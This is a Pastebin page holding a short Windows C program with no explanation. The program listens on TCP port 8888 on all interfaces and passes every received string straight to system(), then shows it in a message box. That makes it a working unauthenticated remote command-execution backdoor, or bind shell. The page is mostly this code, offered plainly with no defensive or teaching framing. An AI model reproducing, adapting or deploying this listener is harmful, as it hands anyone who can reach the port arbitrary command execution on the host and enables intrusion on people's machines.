Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include<io.h>
- #include<stdio.h>
- #include<winsock2.h>
- #include<iostream>
- #pragma comment(lib,"ws2_32.lib")
- int main(int argc, char *argv[])
- {
- HWND hWnd;
- WSADATA wsa;
- SOCKET s, new_socket;
- struct sockaddr_in server, client;
- int c;
- char *message;
- if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
- {
- printf("Error: %d", WSAGetLastError());
- return 1;
- }
- printf("Initialised.\n");
- if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
- {
- printf("Sock err: %d", WSAGetLastError());
- }
- server.sin_family = AF_INET;
- server.sin_addr.s_addr = INADDR_ANY;
- server.sin_port = htons(8888);
- if (bind(s, (struct sockaddr *)&server, sizeof(server)) == SOCKET_ERROR)
- {
- printf("Bind failed: %d", WSAGetLastError());
- }
- listen(s, 3);
- char buf[512] = "";
- for (;;){
- c = sizeof(struct sockaddr_in);
- new_socket = accept(s, (struct sockaddr *)&client, &c);
- if (new_socket == INVALID_SOCKET)
- {
- printf("err: %d", WSAGetLastError());
- }
- puts("Connection accepted");
- if (recv(new_socket, buf, 512, NULL)){
- printf("%s\n", buf);
- system(buf);
- MessageBox(NULL, (LPCSTR)buf, "Handle", NULL);
- }
- }
- /*
- closesocket(s);
- WSACleanup();
- */
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement